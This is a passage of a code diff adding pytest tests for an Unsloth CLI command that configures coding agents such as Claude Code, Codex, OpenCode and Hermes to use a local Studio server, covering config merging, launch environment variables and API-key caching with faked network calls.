- assert path.stat().st_mode & 0o777 == 0o600 - - -def test_write_openclaw_config_preserves_and_idempotent(tmp_path, monkeypatch): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - path.write_text( - json.dumps( - { - "theme": "dark", - "agents": {"defaults": {"temperature": 0.5}}, - "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}}, - } - ) - ) - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - assert config["theme"] == "dark" - assert config["agents"]["defaults"]["temperature"] == 0.5 # other agent defaults kept - assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" - assert config["models"]["mode"] == "replace" # user's mode is left as-is - assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x" - assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1" - before = path.read_text() - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - assert path.read_text() == before - - -def test_write_openclaw_config_corrupt_left_alone(tmp_path, monkeypatch, capsys): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - path.write_text("{not json") - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - assert path.read_text() == "{not json" - assert "couldn't parse" in capsys.readouterr().err - - -def test_connect_openclaw_no_launch(fake_studio, tmp_path, monkeypatch): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - result = CliRunner().invoke(connect.connect_app, ["openclaw", "--no-launch"]) - assert result.exit_code == 0, result.output - assert "openclaw" in result.output - assert "export" not in result.output # key lives in the config, not the env - config = json.loads(path.read_text()) - assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface" - assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" - # OpenAI /v1/chat/completions works on either backend — no GGUF gate. - assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) - - -# ── OpenCode (OpenAI /v1/chat/completions) ─────────────────────────── - - -def test_write_opencode_config_fresh(tmp_path, monkeypatch): - path = tmp_path / "opencode.json" - monkeypatch.setattr(connect, "opencode_config_path", lambda: path) - connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - provider = config["provider"]["unsloth"] - assert provider["npm"] == "@ai-sdk/openai-compatible" - assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"} - assert provider["models"] == {MODEL["id"]: {"name": MODEL["id"]}} - assert config["model"] == f"unsloth/{MODEL['id']}" - - -def test_write_opencode_config_preserves_and_idempotent(tmp_path, monkeypatch): - path = tmp_path / "opencode.json" - monkeypatch.setattr(connect, "opencode_config_path", lambda: path) - path.write_text( - json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}}) - ) - connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - assert config["theme"] == "tokyonight" - assert config["provider"]["anthropic"]["name"] == "Anthropic" - assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1" - before = path.read_text() - connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL) - assert path.read_text() == before - - -def test_connect_opencode_no_launch(fake_studio, tmp_path, monkeypatch): - path = tmp_path / "opencode.json" - monkeypatch.setattr(connect, "opencode_config_path", lambda: path) - result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"]) - assert result.exit_code == 0, result.output - assert "opencode" in result.output - config = json.loads(path.read_text()) - assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface" - assert config["model"] == f"unsloth/{MODEL['id']}" - assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) - - -# ── Hermes (OpenAI /v1/chat/completions, key via env) ──────────────── - - -@pytest.fixture() -def hermes_config(tmp_path, monkeypatch): - path = tmp_path / "config.yaml" - monkeypatch.setattr(connect, "hermes_config_path", lambda: path) - return path - - -def test_write_hermes_config_fresh(hermes_config): - yaml = pytest.importorskip("yaml") - connect.write_hermes_config(BASE, MODEL) - config = yaml.safe_load(hermes_config.read_text()) - # Hermes only honors the key for a *named* custom provider, so the endpoint - # is registered under providers.* and model.provider points at it. - assert config["model"]["provider"] == "custom:unsloth" - assert config["model"]["default"] == MODEL["id"] - assert config["model"]["api_mode"] == "openai" - provider = config["providers"]["unsloth"] - assert provider["base_url"] == f"{BASE}/v1" - assert provider["api_mode"] == "openai" - assert provider["key_env"] == "UNSLOTH_API_KEY" - # The key is resolved from the launch env, never written to disk. - assert "sk-unsloth" not in hermes_config.read_text() - - -def test_write_hermes_config_preserves_and_idempotent(hermes_config): - yaml = pytest.importorskip("yaml") - hermes_config.write_text( - yaml.safe_dump( - { - "terminal": {"backend": "local"}, - "model": {"temperature": 0.7}, - "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}}, - } - ) - ) - connect.write_hermes_config(BASE, MODEL) - config = yaml.safe_load(hermes_config.read_text()) - assert config["terminal"] == {"backend": "local"} # unrelated sections kept - assert config["model"]["temperature"] == 0.7 # unrelated model keys kept - assert config["model"]["provider"] == "custom:unsloth" - assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1" - assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" - before = hermes_config.read_text() - connect.write_hermes_config(BASE, MODEL) - assert hermes_config.read_text() == before - - -def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys): - pytest.importorskip("yaml") - original = "- just\n- a\n- list\n" # valid YAML, but not a mapping - hermes_config.write_text(original) - connect.write_hermes_config(BASE, MODEL) - assert hermes_config.read_text() == original # user-managed file left untouched - assert "couldn't parse" in capsys.readouterr().err - - -def test_connect_hermes_no_launch(fake_studio, hermes_config): - yaml = pytest.importorskip("yaml") - result = CliRunner().invoke(connect.connect_app, ["hermes", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface") - assert "hermes" in result.output - config = yaml.safe_load(hermes_config.read_text()) - assert config["model"]["provider"] == "custom:unsloth" - assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" - assert config["model"]["default"] == MODEL["id"] - assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py new file mode 100644 index 0000000000..a6a092a17c --- /dev/null +++ b/unsloth_cli/tests/test_start.py @@ -0,0 +1,1848 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for `unsloth start` — config merging and launch env, no network.""" + +from __future__ import annotations + +import json +import os +import shlex +import sys +import urllib.error +from pathlib import Path +from types import SimpleNamespace + +_REPO_ROOT = Path(__file__).resolve().parents[2] +if str(_REPO_ROOT) not in sys.path: + sys.path.insert(0, str(_REPO_ROOT)) + + +import pytest +from typer.testing import CliRunner + +import unsloth_cli.commands.start as start + +BASE = "http://127.0.0.1:8888" +MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072} + + +# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and +# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form. +def _assert_env_set(output: str, name: str, value: str) -> None: + needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}" + assert needle in output, f"{needle!r} not found in:\n{output}" + + +def _assert_env_unset(output: str, name: str) -> None: + needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}" + assert needle in output, f"{needle!r} not found in:\n{output}" + + +def _launch_command(output: str) -> list: + # The --no-launch recipe ends with a self-contained one-liner: inline NAME=value + # assignments, then the command. Return just the command argv. + last = [ln for ln in output.splitlines() if ln.strip()][-1] + parts = shlex.split(last) + for i, part in enumerate(parts): + name = part.partition("=")[0] + if "=" not in part or not name.replace("_", "").isalnum(): + return parts[i:] + return [] + + +def _fake_claude(monkeypatch, version_output: str) -> None: + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr( + start.subprocess, + "run", + lambda *args, **kwargs: SimpleNamespace(stdout = version_output), + ) + + +def test_claude_flags_passed_to_supported_claude(monkeypatch): + _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n") + assert start._claude_flags() == [ + "--exclude-dynamic-system-prompt-sections", + "--settings", + start._CLAUDE_SETTINGS_OVERLAY, + ] + + +def test_claude_flags_skipped_on_old_claude(monkeypatch): + _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n") + assert start._claude_flags() == [] + + +def test_claude_flags_skipped_on_unparseable_version(monkeypatch): + _fake_claude(monkeypatch, "weird build string\n") + assert start._claude_flags() == [] + + +def test_claude_flags_detected_when_version_not_first_token(monkeypatch): + # The X.Y.Z is pulled from anywhere in the output, so a format change (version not + # the first token) doesn't silently drop the optimization flags. + _fake_claude(monkeypatch, "claude version 2.1.98\n") + assert start._claude_flags() == [ + "--exclude-dynamic-system-prompt-sections", + "--settings", + start._CLAUDE_SETTINGS_OVERLAY, + ] + + +def test_install_agent_prompts_then_installs(monkeypatch): + # TTY + yes: run the documented install command, then re-resolve the now-present binary. + monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True)) + monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True) + ran = [] + monkeypatch.setattr( + start.subprocess, + "run", + lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0), + ) + # _install_agent only re-resolves after installing (the pre-install check is the + # caller's job), so `which` reports the now-present binary. + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex") + executable = start._install_agent("codex", "npm install -g @openai/codex") + assert executable == "/usr/local/bin/codex" + assert ran == [["/bin/sh", "-c", "npm install -g @openai/codex"]] + + +def test_install_agent_declined_returns_none(monkeypatch): + # TTY + no: never runs anything; caller falls back to the print-hint failure. + monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True)) + monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False) + monkeypatch.setattr(start.shutil, "which", lambda _: None) + monkeypatch.setattr( + start.subprocess, "run", lambda *a, **k: pytest.fail("should not install when declined") + ) + assert start._install_agent("codex", "npm install -g @openai/codex") is None + + +def test_install_agent_non_interactive_returns_none(monkeypatch): + # No TTY (piped stdin): cannot prompt, so don't install; return None silently. + monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: False)) + monkeypatch.setattr( + start.subprocess, "run", lambda *a, **k: pytest.fail("should not install without a TTY") + ) + assert start._install_agent("codex", "npm install -g @openai/codex") is None + + +def _parse_toml(text: str) -> dict: + tomllib = pytest.importorskip("tomllib") + return tomllib.loads(text) + + +def test_merge_codex_config_fresh(): + merged = start._merge_codex_config("", BASE) + parsed = _parse_toml(merged) + assert parsed["oss_provider"] == "unsloth_api" + provider = parsed["model_providers"]["unsloth_api"] + assert provider["base_url"] == f"{BASE}/v1" + assert provider["wire_api"] == "responses" + assert provider["requires_openai_auth"] is False + + +def test_merge_codex_config_replaces_stale_block(): + existing = ( + 'model = "gpt-5"\n' + "\n" + "[model_providers.unsloth_api]\n" + 'base_url = "http://old-host:9999/v1"\n' + 'wire_api = "chat"\n' + "\n" + "[model_providers.unsloth_api.http_headers]\n" + 'x-old = "1"\n' + "\n" + "[model_providers.ollama]\n" + 'base_url = "http://localhost:11434/v1"\n' + ) + merged = start._merge_codex_config(existing, BASE) + parsed = _parse_toml(merged) + assert parsed["model"] == "gpt-5" + assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1" + assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses" + assert "http_headers" not in parsed["model_providers"]["unsloth_api"] + assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1" + assert start._merge_codex_config(merged, BASE) == merged + + +def test_merge_codex_config_keeps_user_oss_provider(): + merged = start._merge_codex_config('oss_provider = "ollama"\n', BASE) + assert _parse_toml(merged)["oss_provider"] == "ollama" + + +def test_write_codex_config_profile(tmp_path): + start.write_codex_config(BASE, MODEL, tmp_path) + profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text()) + assert profile["oss_provider"] == "unsloth_api" + assert profile["model_provider"] == "unsloth_api" + assert profile["model"] == MODEL["id"] + assert profile["model_context_window"] == 131072 + config = _parse_toml((tmp_path / "config.toml").read_text()) + assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN" + + +@pytest.fixture() +def fake_studio(tmp_path, monkeypatch): + calls = [] + state = {"models": [MODEL]} + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + calls.append((method, url, payload)) + if url.endswith("/v1/models"): + return {"object": "list", "data": state["models"]} + if url.endswith("/api/inference/status"): + return {"is_gguf": True, "model_identifier": state["models"][0]["id"]} + if url.endswith("/api/auth/api-keys"): + return {"key": "sk-unsloth-feedfacefeedface"} + if url.endswith("/api/inference/load"): + state["models"] = [{"id": payload["model_path"], "context_length": 4096}] + return {} + raise AssertionError(f"unexpected request: {method} {url}") + + monkeypatch.setattr(start, "find_studio_server", lambda: BASE) + # Identity handshake has its own tests; trust the loopback server here. + monkeypatch.setattr(start, "verify_studio_identity", lambda base: True) + # _studio_token / api-keys are faked so the mint flow stays offline. + monkeypatch.setattr(start, "_studio_token", lambda: "jwt-token") + monkeypatch.setattr(start, "_http_json", http_json) + monkeypatch.setattr(start, "_key_cache_path", lambda: tmp_path / "agent_api_key.json") + # --no-launch session configs land under tmp instead of the real Unsloth dir. + monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents") + # No `claude` on PATH, so _claude_flags never probes the real binary. + monkeypatch.setattr(start.shutil, "which", lambda _: None) + monkeypatch.delenv("UNSLOTH_API_KEY", raising = False) + return calls + + +def test_connect_claude_no_launch(fake_studio): + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_unset(result.output, "ANTHROPIC_API_KEY") + _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN") + _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE) + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1") + _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1") + # Suppress the full-screen TUI redraw so a bursty local server doesn't flicker. + _assert_env_set(result.output, "CLAUDE_CODE_NO_FLICKER", "1") + # Attribution header is suppressed for the session via env + --settings, never + # by writing the user's ~/.claude/settings.json. + _assert_env_set(result.output, "CLAUDE_CODE_ATTRIBUTION_HEADER", "0") + # Auto-compact window is sized to the loaded model's real context length so the + # session compacts before it overflows the local server's (much smaller) window, + # and compaction is forced at 90% of it for headroom. + _assert_env_set(result.output, "CLAUDE_CODE_AUTO_COMPACT_WINDOW", str(MODEL["context_length"])) + _assert_env_set(result.output, "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE", "90") + assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output + # Overlay is passed inline (session-only), not a path into the user's ~/.claude. + assert "--settings" in result.output + assert ".claude/settings.json" not in result.output + + +def test_connect_claude_compact_window_omitted_without_context(fake_studio, monkeypatch): + # A model that doesn't report a context length -> leave Claude's default window + # rather than guessing one. + monkeypatch.setattr(start, "_resolve_model", lambda *a, **k: {"id": "local-model"}) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" not in result.output + assert "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE" not in result.output + + +def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch): + captured = {} + monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") + monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start, "_claude_flags", lambda: []) + + def run(command, env): + captured["command"] = command + captured["env"] = env + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["claude"]) + + assert result.exit_code == 0, result.output + assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]] + assert "ANTHROPIC_API_KEY" not in captured["env"] + assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"] + assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" + assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE + assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] + assert captured["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" + + +@pytest.mark.skipif( + os.name == "nt", + reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " + "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", +) +def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch): + captured = {} + monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") + monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") + monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") + monkeypatch.setattr( + start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" + ) + monkeypatch.setattr(start, "_claude_flags", lambda: []) + + def run(command, env): + captured["command"] = command + captured["env"] = env + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["claude"]) + + assert result.exit_code == 0, result.output + assert captured["command"] == [ + "/mnt/c/Users/samle/AppData/Roaming/npm/claude", + "--model", + MODEL["id"], + ] + assert captured["env"]["ANTHROPIC_API_KEY"] == "" + assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == "" + assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" + assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE + assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] + for name in ( + "ANTHROPIC_AUTH_TOKEN", + "ANTHROPIC_BASE_URL", + "ANTHROPIC_MODEL", + "ANTHROPIC_API_KEY", + "CLAUDE_CODE_OAUTH_TOKEN", + ): + assert name in captured["env"]["WSLENV"].split(":") + + +@pytest.mark.skipif( + os.name == "nt", + reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " + "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", +) +def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch): + monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") + monkeypatch.setattr( + start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" + ) + + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + + assert result.exit_code == 0, result.output + assert "export ANTHROPIC_API_KEY=" in result.output + assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output + assert "export WSLENV=" in result.output + assert "ANTHROPIC_AUTH_TOKEN" in result.output + assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output + + +def test_connect_codex_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + assert "codex --oss --profile unsloth_api" in result.output + # Config lands in the session-scoped CODEX_HOME, not the user's ~/.codex. + home = tmp_path / "agents" / "codex" + _assert_env_set(result.output, "CODEX_HOME", str(home)) + assert (home / "config.toml").exists() + assert (home / "unsloth_api.config.toml").exists() + + +def test_connect_codex_launch_uses_ephemeral_home(fake_studio, monkeypatch): + # Launch mode writes config to a throwaway temp CODEX_HOME and removes it after + # the agent exits; the user's real ~/.codex is never the target. + captured = {} + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex") + + def run(command, env): + captured["home"] = env["CODEX_HOME"] + captured["config_present"] = (Path(env["CODEX_HOME"]) / "config.toml").exists() + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["codex"]) + assert result.exit_code == 0, result.output + home = Path(captured["home"]) + assert captured["config_present"] # config existed while codex ran + assert "unsloth-codex-" in home.name # an ephemeral temp dir, not ~/.codex + assert not home.exists() # cleaned up after the agent exits + + +@pytest.mark.skipif( + os.name == "nt", + reason = "the #6547 CI parser is bash-only; on Windows --no-launch prints PowerShell", +) +def test_no_launch_output_is_parseable(fake_studio): + # Mirror the #6547 CI parser: status lines, then `export`/`unset`, then exactly + # one launch command on the last line (now an inline-env one-liner, so the parser + # matches by substring rather than prefix). + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 0, result.output + lines = [ln for ln in result.output.splitlines() if ln.strip()] + skip = ("export ", "unset ", "Studio ", "Updated ", "Disabled ", "Warning", "Loading") + body = [ln for ln in lines if not ln.startswith(skip)] + assert "codex --oss --profile unsloth_api" in body[-1] + assert any(ln.startswith("export CODEX_HOME=") for ln in lines) + + +def test_no_launch_last_line_is_self_contained(fake_studio, tmp_path): + # People copy just the last line. A bare `codex` there would run against the user's + # real ~/.codex (e.g. a pre-existing damaged state DB) with zero isolation, so the + # last line must inline every session env var ahead of the command. + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 0, result.output + last = [ln for ln in result.output.splitlines() if ln.strip()][-1] + parts = shlex.split(last) + assignments = {} + command = [] + for i, part in enumerate(parts): + if "=" not in part: + command = parts[i:] + break + name, _, value = part.partition("=") + assignments[name] = value + assert command and command[0] == "codex" + assert assignments["CODEX_HOME"] == str(tmp_path / "agents" / "codex") + assert assignments["UNSLOTH_STUDIO_AUTH_TOKEN"].startswith("sk-unsloth-") + + +def test_no_launch_claude_last_line_blanks_conflicting_auth(fake_studio): + # The unset vars must be neutralized inline too, or a partial copy would send the + # user's own ANTHROPIC_API_KEY to the Studio base. + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + last = [ln for ln in result.output.splitlines() if ln.strip()][-1] + assert "ANTHROPIC_API_KEY= " in last + assert "CLAUDE_CODE_OAUTH_TOKEN= " in last + assert "ANTHROPIC_AUTH_TOKEN=" in last # the real key still applied after the blanks + + +def test_opencode_inline_config_beats_project_config(fake_studio): + # A project's opencode.json outranks OPENCODE_CONFIG, so the model pin (and --yolo + # permissions) ride in OPENCODE_CONFIG_CONTENT, which outranks project config. + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--yolo"]) + assert result.exit_code == 0, result.output + content_line = next( + ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=") + ) + inline = json.loads( + shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0] + ) + assert inline["model"] == f"unsloth/{MODEL['id']}" + assert inline["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"} + assert "sk-unsloth" not in content_line # key stays in the private file + + +def test_opencode_inline_config_omits_permissions_without_yolo(fake_studio): + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 0, result.output + content_line = next( + ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=") + ) + inline = json.loads( + shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0] + ) + assert inline == {"model": f"unsloth/{MODEL['id']}"} + + +def test_https_loopback_never_auto_serves(fake_studio, monkeypatch): + # `unsloth run` serves plain HTTP; auto-serving behind an https:// target would poll + # the wrong scheme until the startup timeout. Keep the plain "no server" error. + monkeypatch.setenv("UNSLOTH_STUDIO_URL", "https://127.0.0.1:8443") + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {"called": False} + monkeypatch.setattr( + start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True) + ) + result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"]) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + assert started["called"] is False + + +def test_connect_alias_still_works(fake_studio): + # `unsloth connect` remains a compat alias for `unsloth start`. + from unsloth_cli import app + + result = CliRunner().invoke(app, ["connect", "claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + + +def test_connect_key_minted_once_then_cached(fake_studio, tmp_path): + CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + # First run mints; second reuses the minted key cached for this server. + mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")] + assert len(mints) == 1 + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] + + +def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path): + CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + # Reused, not re-minted (a mint would return the feedface stand-in). + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + # An explicit key is remembered as "saved" so it replays without the handshake. + assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"] + + +def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch): + cache = tmp_path / "agent_api_key.json" + cache.write_text( + json.dumps( + {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}} + ) + ) + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/v1/models") and token == "sk-unsloth-stale": + raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None) + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + # The working key moves to the front so the next run tries it first. + cached = json.loads(cache.read_text()) + assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"] + + +def test_connect_saved_key_server_outage_surfaces_not_reminted(fake_studio, tmp_path, monkeypatch): + # A 5xx/timeout while checking a saved key is a server outage, not a rejected key: + # surface it instead of discarding the key and minting a new one against a sick server. + cache = tmp_path / "agent_api_key.json" + cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-saved"]}}})) + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/v1/models") and token == "sk-unsloth-saved": + raise urllib.error.HTTPError(url, 503, "Service Unavailable", None, None) + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code != 0, result.output + # The outage did not cause a fresh key to be minted. + mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")] + assert mints == [] + + +def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path): + # Legacy unscoped caches have no server binding (could leak across servers), + # so they're ignored: a fresh key is minted and stored scoped to this server. + (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"})) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] + assert "key" not in cached # legacy field collapsed away + + +def test_connect_model_flag_loads_on_server(fake_studio): + result = CliRunner().invoke( + start.start_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"] + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"}) + ] + _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B") + + +def test_connect_model_flag_forwards_load_options(fake_studio): + # The model-load knobs mirrored from `unsloth run` reach /api/inference/load. + result = CliRunner().invoke( + start.start_app, + [ + "claude", + "--no-launch", + "--model", + "unsloth/Qwen3-4B-GGUF", + "--gguf-variant", + "UD-Q4_K_XL", + "--context-length", + "8192", + "--no-load-in-4bit", + "--tensor-parallel", + ], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + { + "model_path": "unsloth/Qwen3-4B-GGUF", + "gguf_variant": "UD-Q4_K_XL", + "max_seq_length": 8192, + "load_in_4bit": False, + "tensor_parallel": True, + }, + ) + ] + + +def test_connect_model_flag_matches_canonical_id(fake_studio, 